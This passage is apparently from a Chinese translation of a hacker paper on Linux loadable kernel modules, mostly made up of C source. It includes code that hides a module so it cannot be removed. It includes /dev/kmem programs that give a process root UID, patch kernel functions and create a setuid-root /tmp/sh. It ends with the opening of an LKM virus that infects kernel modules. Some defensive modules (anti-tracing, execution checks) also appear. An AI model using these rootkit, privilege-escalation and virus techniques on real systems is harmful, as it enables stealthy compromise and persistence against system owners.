= sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } /*这里需要一些functions*/ open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; write = sys_call_table[__NR_write]; read = sys_call_table[__NR_read]; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_execve]=orig_execve; }
这并不难,所以我不想在上面浪费口舌了,当然,这一模块并不需要kerneld——这是它有趣的一点。
我希望你现在已经掌握了感染可执行文件的方法了,这种方法要破坏一个大的系统是相当容易的。
我在文章的最初曾经提到过,当一个模块加载时,是通过init_module(...)调用来实现的,其中有一 个结构 mod_routines *routines,该结构中包含了关于该LKM的重要信息,因此我们可以巧妙地更改结构中的数据,使它显示我们的模块是没有名称和任何资料的,这样系统 就不会把我们的LKM显示在/proc/modules中了——因为它会忽略那些没有名称及资料的LKMS,下面的代码显示了如何隐藏用这种方法修改 mod_routines来达到隐藏模块的目的:
/*from Phrack & AFHRM*/ int init_module() { register struct module *mp asm("%ebp"); // 或者任何它所在的register *(char*)mp->name=0; mp->size=0; mp->ref=0; ...
这么处理之后不但该LKM看不见,而且也无法删除了,一旦你想删掉它,系统会提示你,没有这个LKM!因为系统现在不认得我们了;)
你得用下面的方法来编译该模块:
#gcc -c -O3 -fomit-frame-pointer module.c
fomit-frame-pointer 告诉编译器不要将frame pointer保存在register中,这可以保持我们的register是 "干净的",然后我们可以进入要修改的structure了……
我认为这是最重要的欺骗技巧,因为我们开发隐藏且无法删除了LKMs就靠它了。
这里是我检查systemcall的一个小模块。
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #define SYS_CHECK 200 extern void* sys_call_table[]; int sys_check() { return 666; } int init_module(void) /*加载*/ { sys_call_table[SYS_CHECK]=sys_check; return 0; } void cleanup_module(void) /*卸载*/ {} 或者你可以通过下面这个小程序来实现: #include <linux/errno.h> #include <sys/syscall.h> #include <errno.h> extern void *sys_call_table[]; int check() { __asm__("movl $200,%eax int $0x80"); } main() { int ret; ret = check(); if (ret!=666) printf("Our module is *not* present !!\n"); else printf("Our module is present, continue...\n"); }
我想这很容易,不是么?试试吧……
对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; kernel_name = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_name, name, 255); /*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); ret=orig_create_module(name, size); return ret; } int init_module(void) /*初始化模块*/ { orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0; } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_create_module]=orig_create_module; }
这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件 了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截 sys_init_module(...)来显示每一个模块。这不过是一个品位问题。
第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加 载是否合法了。但是如何进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去 想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用. 因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linux starter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了 很多现存的代码....)
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <sys/stat.h> extern void* sys_call_table[]; /*如果lock_mod=1 就是允许加载一个模块*/ int lock_mod=0; int __NR_myexecve; /*拦截create_module(...)和stat(...)系统调用*/ int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int hacked_stat(const char *filename, struct old_stat *buf) { char *name; int ret; char *password = "password"; /*yeah, a great password*/ name = (char *) kmalloc(255, GFP_KERNEL); (void) strncpy_fromfs(name, filename, 255); /*有密码么?*/ if (strstr(name, password)!=NULL) { /*一次仅允许加载一个模块*/ lock_mod=1; kfree(name); return 0; } else { kfree(name); ret = orig_stat(filename, buf); } return ret; } int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; if (lock_mod==1) { lock_mod=0; ret=orig_create_module(name, size); return ret; } else { printk("<1>MOD-POL : Permission denied !\n"); return 0; } return ret; } int init_module(void) /*初始化模块*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve]; orig_stat=sys_call_table[SYS_prev_stat]; sys_call_table[SYS_prev_stat]=hacked_stat; orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; printk("<1>MOD-POL LOADED...\n"); return 0; } void cleanup_module(void) /*卸载模块*/ { sys_call_table[SYS_prev_stat]=orig_stat; sys_call_table[SYS_create_module]=orig_create_module; }
代码本身很清楚.下面将会告诉你如何才能让你的LKM更安全,也许这有一些多疑了 :)
现在我们该"打击"一下喜欢探测我们的可执行文件的黑客了……如以前所说过的,strace是一个很好的"偷窥"的工具,能够帮助黑客察看一个程序调用了哪些systemcall,而且它甚至还可以用作TTY hijacking,在THC的'Human to Unix Hacker' 中作了描述,我们可以通过strace其它人的shell,来获得他的任何输入,现在你知道它的危险性了吧;),strace用到了下面的 API:
#include <sys/ptrace.h> int ptrace(int request, int pid, int addr, int data);
OK,那我们要如何控制strace呢,不要傻到将它从你的系统里删除吧;),想想上面展示的ptrace(...)函数,任何黑客都可能通过它来编写一个功能想当的程序,所以你需要的是更安全的办法。首先要做的是找一个调用,可以对追踪的企图作出反应……
还记得II.5.1 的内容吗,那里我提及了task flags,在跟踪一个进程时,用到两个flags,这就是我们的办法了,我们中断sys_execve(...)调用,并且检查当前进程里是否有这两个flags中的任何一个
这是我写的一个小小的LKM,叫作Anti-Tracer,它基本上实现了上面提及的想法,我们可以通过当前的指示器——任务结构 (task structure)来找到flags,其它就没什么新鲜的了……
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int __NR_myexecve; int (*orig_execve) (const char *, const char *[], const char *[]); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { int ret, tmp; unsigned long mmm; char *kfilename; /*检查flags*/ if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { /*我们被跟踪了,所以打印出跟踪的进程号及程序名,然后拒绝执行并且返回*/ kfilename = (char *) kmalloc(256, GFP_KERNEL); (void) strncpy_fromfs(kfilename, filename, 255); printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename); kfree(kfilename); return 0; } ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*加载*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_execve]=orig_execve; }
我们再想象一下,如果我们要跟踪某个已经在执行的程序,会怎么做呢,如果该程序号是1853,那么我们会用 strace -p 1853 来追踪,这还可以运行,所以更安全的办法就是拦截sys_ptrace(...),看看下面的模块吧:
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_ptrace)(long request, long pid, long addr, long data); int hacked_ptrace(long request, long pid, long addr, long data) { printk("TRACING IS NOT ALLOWED\n"); return 0; } int init_module(void) /*加载*/ { orig_ptrace=sys_call_table[SYS_ptrace]; sys_call_table[SYS_ptrace]=hacked_ptrace; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_ptrace]=orig_ptrace; }
使用了这个LKM,那么就再没人可以trace喽;)
下面的LKM和Route的补丁有些相似,它检查程序的执行权限:
#define __KERNEL__ #define MODULE #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> /* where the sys_calls are */ int __NR_myexecve = 0; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*close)(int); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { int fd = 0, ret; struct file *file; /*需要inode strucure*/ /*I use the open approach here, because you should understand it from the LKM infector, read on for seeing a better approach*/ fd = open(filename, O_RDONLY, 0); file = current->files->fd[fd]; /*这是root的文件么?*/ /*注意 : 在这里你还可以实现更多的检查,但这只是个示范, 你可以通过察看linux/fs.h获得更多资料*/ if (file->f_inode->i_uid!=0) { printk("<1>Execution denied !\n"); close(fd); return -1; } else /*否则就允许执行程序*/ { ret = my_execve(filename, argv, envp); return ret; } } int init_module(void) /*加载*/ { printk("<1>INIT \n"); __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { printk("<1>everything OK\n"); sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_execve]=orig_execve; }
这和route的补丁有些不同,route检查的是路径,而我们检查的是文件,当然要通过路径检查也可以,但我认为检查文件是更好的办法……,我仅仅是实现了检查文件的UID,所以系统管理员可以过滤掉不想让它执行的进程。虽然 open /fd 的方法不是最好的,但因为它相当实用,所以在这里我使用了它——LKM infector也是用这种方法哦。下面这种方法也是可行的:
int namei(const char *pathname, struct inode **res_inode);
int lnamei(const char *pathname, struct inode **res_inode);
好好看看这两他系统调用吧,它们通过路径返回相应的inode structure,两个调用的不同点在于,后者lnamei不解链接文件解析到它所链接的地方,而仅仅是返回链接本身的inode。
我们可以先通过sys_execve(...)截获中断,然后使用namei(...)得到inode……下面的事不用再说了吧;/
看来这个链接问题要转移到LKM还是有一定困难的,我们先看Solar Designer的关于硬连接的想法吧,它可以简单地通过中断sys_link(...)来防止任何硬链接的建立,这很容易在LKM里实现,看看下面的代 码吧,这个代码的片断并不完全和kernel补丁相同,它仅仅在/tmp目录下防止链接建立,而没有考虑粘着位+t,虽然你也可以考虑通过inode structure来实现。
int hacked_link(const char *oldname, const char *newname) { char *kernel_newname; int fd = 0, ret; struct file *file; kernel_newname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_newname, newname, 255); /*是否是到/tmp/目录的硬连接?*/ if (strstr(kernel_newname, (char*)&hide ) != NULL) { kfree(kernel_newname); /*这里我们又用了open的方法:)*/ fd = open(oldname, O_RDONLY, 0); file = current->files->fd[fd]; /*检查UID*/ if (file->f_inode->i_uid!=current->uid) { printk("<1>Hard Link Creation denied !\n"); close(fd); return -1; } } else { kfree(kernel_newname); /*一切正常 -> 用户被允许建立硬连接*/ return orig_link(oldname, newname); } }
用这个方法你可以控制连接的建立。
前一章里我曾经说了一些隐藏进程信息的方法,所以这里,我们要对付这种攻击了,那就是限制对/proc的存取权限——通过改变目录的权限来实 现,他对proc的inode做了修补,下面的LKM很有用,如果你加载了它,那么用户将无法读取proc的文件系统,卸载后一载恢复原状:
/*very bad programming style (perhaps we should use a function for the indode retrieving), but it works...*/ #define __KERNEL__ #define MODULE #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> extern void *sys_call_table[]; int (*open)(char *, int, int); int (*close)(int); int init_module(void) /*加载*/ { int fd = 0; struct file *file; struct inode *ino; /*还是open(...)*/ open = sys_call_table[SYS_open]; close = sys_call_table[SYS_close]; /*we have to supplie some kernel space data for the systemcall*/ BEGIN_KMEM fd = open("/proc", O_RDONLY, 0); END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*这里是proc目录的inode*/ ino= file->f_inode; /*编辑许可权限*/ ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR; close(fd); return 0; } void cleanup_module(void) /*卸载*/ { int fd = 0; struct file *file; struct inode *ino; BEGIN_KMEM fd = open("/proc", O_RDONLY, 0); END_KMEM printk("%d\n", fd); file = current->files->fd[fd]; /*这里是proc目录的inode*/ ino= file->f_inode; /*编辑许可权限*/ ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO; close(fd); }
加载它,然后运行ps或者top之类的程序,它不能正常运行了,所有想存取/proc的企图将被拒绝,当然,如果你是root 的话,你仍然可以看所有的东西。
"其实这并不是真正的补丁,而是简单的将linux的默认安全等级从0提升到1,它会禁止修改ex2fs系统中文件的immutable和append-only位,同时禁止装入 /移除module.所以我们可以先用chattr +i 将大部分的可执行文件,动态连接库, 一些重要的系统文件(inetd.conf,securetty,hosts.allow,hosts.deny,rc.d下的启动script...)加上immutable位,这样"黑客"就很难在你的机器上放置木马和留后门了. (即便他已经得到了root权限,当然通过直接硬盘读写仍然可以修改,但比较麻烦而且危险 )。"
修改安全等级比较直接的办法是直接修改内核源码.将linux/kernel/sched.c中的 securelevel设成1即可,但比较简单的办法还是直接用LKM来实现。 (注:warning3曾经写过一篇相关的文章以及代码,在安全焦点里我会一起贴出来,供大家参考。)
只要简单的拦截sts_open(...)并且过滤掉那些dev文件就是了,我想这里不用再给出代码了吧,看看II.4.2 就可以有思路了,这种方法可以简单地保护/dev/*文件,但是也有一个坏处,就是当LKM加载后,任何人都没办法直接存取/dev/*了……
假如你真的找不到LKM 是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记 这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我 们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。因此我们 知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户模式)的程序获得了 task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得 UID=0 。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
/*注意:我没有实现错误检查*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> /*我们想要改变的任务结构的最大数目*/ #define NR_TASKS 512 /*我们的任务结构——我只使用了我们需要的那部分*/ struct task_struct { char a[108]; /*我们不需要的*/ int pid; char b[168]; /*stuff we don't need*/ unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; char c[700]; /*stuff we don't need*/ }; /*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的 struct task_struct { volatile long state; long counter; long priority; unsigned long signal; unsigned long blocked; unsigned long flags; int errno; long debugreg[8]; struct exec_domain *exec_domain; struct linux_binfmt *binfmt; struct task_struct *next_task, *prev_task; struct task_struct *next_run, *prev_run; unsigned long saved_kernel_stack; unsigned long kernel_stack_page; int exit_code, exit_signal; unsigned long personality; int dumpable:1; int did_exec:1; int pid; int pgrp; int tty_old_pgrp; int session; int leader; int groups[NGROUPS]; struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct wait_queue *wait_chldexit; unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; unsigned long timeout, policy, rt_priority; unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; long utime, stime, cutime, cstime, start_time; unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; unsigned long swap_address; unsigned long old_maj_flt; unsigned long dec_flt; unsigned long swap_cnt; struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; int link_count; struct tty_struct *tty; struct sem_undo *semundo; struct sem_queue *semsleeping; struct desc_struct *ldt; struct thread_struct tss; struct fs_struct *fs; struct files_struct *files; struct mm_struct *mm; struct signal_struct *sig; #ifdef __SMP__ int processor; int last_processor; int lock_depth; #endif }; */ int main(int argc, char *argv[]) { unsigned long task[NR_TASKS]; /*用于特定PID的任务结构*/ struct task_struct current; int kmemh; int i; pid_t pid; int retval; pid = atoi(argv[2]); kmemh = open("/dev/kmem", O_RDWR); /*找到第一个任务结构的内存地址*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); read(kmemh, task, sizeof(task)); /*遍历知道我们找到我们的任务结构(由PID确定)*/ for (i = 0; i < NR_TASKS; i++) { lseek(kmemh, task, SEEK_SET); read(kmemh, ¤t, sizeof(current)); /*是我们的进程么*/ if (current.pid == pid) { /*是的,因此改变UID域...*/ current.uid = current.euid = 0; current.gid = current.egid = 0; /*写回到内存*/ lseek(kmemh, task, SEEK_SET); write(kmemh, ¤t, sizeof(current)); printf("Process was found and task structure was modified\n"); exit(0); } } }
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面 的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控 制系统内核信息的模块结构。通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难 了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序 来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就 是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个 我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
/*同样的,没有错误检查*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> /*我们的返回代码*/ unsigned char asmcode[]={0xc3}; int main(int argc, char *argv[]) { unsigned long counter; int kmemh; /*打开设备*/ kmemh = open("/dev/kmem", O_RDWR); /*找到内存地址中函数开始的地方*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); /*写入我们的补丁字节*/ write(kmemh, &asmcode, 1): close(kmemh); }
让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记 住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。
如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev /kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方 我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:
kernel data
...
kmalloc pool
pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。
这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的):
/* by Nergal */ #define SEEK_SET 0 #define __KERNEL__ #include <linux/sched.h> #undef __KERNEL__ #define SIZEOF sizeof(struct task_struct) int mem_fd; int mypid; void testtask (unsigned int mem_offset) { struct task_struct some_task; int uid, pid; lseek (mem_fd, mem_offset, SEEK_SET); read (mem_fd, &some_task, SIZEOF); if (some_task.pid == mypid) /* 是我们的任务结构么? */ { some_task.euid = 0; some_task.fsuid = 0; /* chown需要这个 */ lseek (mem_fd, mem_offset, SEEK_SET); write (mem_fd, &some_task, SIZEOF); /* 现在起,我们可以为所欲为了…… */ chown ("/tmp/sh", 0, 0); chmod ("/tmp/sh", 04755); exit (0); } } #define KSTAT 0x001a8fb8 /* <-- 改变这个地址为你的kstat */ main () /* 通过执行/proc/ksyms|grep kstat */ { unsigned int i; struct task_struct *task[NR_TASKS]; unsigned int task_addr = KSTAT - NR_TASKS * 4; mem_fd = 3; /* 假定要打开的是/dev/mem */ mypid = getpid (); lseek (mem_fd, task_addr, SEEK_SET); read (mem_fd, task, NR_TASKS * 4); for (i = 0; i < NR_TASKS; i++) if (task) testtask ((unsigned int)(task)); }
这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
我希望这最后的一节可以给你一些如何继续的提示。
宏 | 描述 |
---|---|
EXPORT_NO_SYMBOLS; | 这一个相当于旧版本内核的register_symtab(NULL) |
EXPORT_SYMTAB; | 如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏 |
EXPORT_SYMBOL(name); | 输出名字叫'name'的宏 |
EXPORT_SYMBOL_NOVERS (name); | 没有版本信息的输出符号 |
用户模式的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
函数 | 描述 |
---|---|
int access_ok (int type, unsigned long addr, unsigned long size); | 这个函数检查是否当前进程允许存取某个地址 |
unsigned long copy_from_user (unsigned long to, unsigned long from, unsigned long len); | 这个是新的memcpy_tofs函数 |
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned long len); | 这是相对应的copy_from_user(...) |
我很抱歉关于2.2 内核只有这么少的东西。但是目前我正在写一个关于2.2 内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(譬如FreeBSD,OpenBSD)但是这会花几个月的时间。
这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。:).
get the kernel and study it !
[书籍]
Linux-Kernel-Programming (Addison Wesley)
A very good book. I read the german version but I think there is also an english version.
Linux Device Drivers (O'Reilly)
A bit off topic, but also very interesting. The focus is more on writing LKMs as device drivers.
个人 :
background music groups (helping me to concentrate on writing :):
Neuroactive, Image Transmission, Panic on the Titanic, Dracul
你可以在这里找到一些源代码,如果LKM的作者发布了一些有趣的文档,他们也会在后续版本中打印出来。
van Hauser - thanks for giving me the chance to learn
/* SVAT - Special Virii And Trojans - present: * * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=- * * 0kay guys, here we go... * As i told you with VLP I (we try to write an fast-infector) * here's the result: * a full, non-overwriting module infector that catches * lkm's due to create_module() and infects them (max. 7) * if someone calls delete_module() [even on autoclean]. * Linux is not longer a virii-secure system :( * and BSD follows next week ... * Since it is not needed 2 get root (by the module) you should pay * attention on liane. * Note the asm code in function init_module(). * U should assemble your /usr/src/.../module.c with -S and your CFLAG * from your Makefile and look for the returnvalue from the first call * of find_module() in sys_init_module(). look where its stored (%ebp for me) * and change it in __asm__ init_module()! (but may it is not needed) * * For education only! * Run it only with permisson of the owner of the system you are logged on!!! * * !!! YOU USE THIS AT YOUR OWN RISK !!! * * I'm not responsible for any damage you may get due to playing around with this. * * okay guys, you have to find out some steps without my help: * * 1. $ cc -c -O2 module.c * 2. get length of module.o and patch the #define MODLEN in module.c * 3. $ ??? * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< * 6. $ insmod ??? * * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and * kernel 2.0.33. It works. * * greets (in no order...) * <><><><><><><><><><><><> * * NetW0rker - tkx for da sources * Serialkiller - gib mir mal deine eMail-addy * hyperSlash - 1st SVAT member, he ? * naleZ - hehehe * MadMan - NetW0rker wanted me to greet u !? * KilJaeden - TurboDebugger and SoftIce are a good choice ! * * and all de otherz * * Stealthf0rk/SVAT <[email protected]> */ #define __KERNEL__ #define MODULE #define MODLEN 7104 #define ENOUGH 7 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} /* i'm not sure we need all of 'em ...*/ #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> #define __NR_our_syscall 211 #define MAXPATH 30 /*#define DEBUG*/ #ifdef DEBUG #define DPRINTK(format, args...) printk(KERN_INFO format,##args) #else #define DPRINTK(format, args...) #endif /* where the sys_calls are */ extern void *sys_call_table[]; /* tested only with kernel 2.0.33, but thiz should run under 2.x.x * if you change the default_path[] values */ static char *default_path[] = { ".", "/linux/modules", "/lib/modules/2.0.33/fs", "/lib/modules/2.0.33/net", "/lib/modules/2.0.33/scsi", "/lib/modules/2.0.33/block", "/lib/modules/2.0.33/cdrom", "/lib/modules/2.0.33/ipv4", "/lib/modules/2.0.33/misc", "/lib/modules/default/fs", "/lib/modules/default/net", "/lib/modules/default/scsi", "/lib/modules/default/block", "/lib/modules/default/cdrom", "/lib/modules/default/ipv4", "/lib/modules/default/misc", "/lib/modules/fs", "/lib/modules/net", "/lib/modules/scsi", "/lib/modules/block", "/lib/modules/cdrom", "/lib/modules/ipv4", "/lib/modules/misc", 0 }; static struct symbol_table my_symtab = { #include 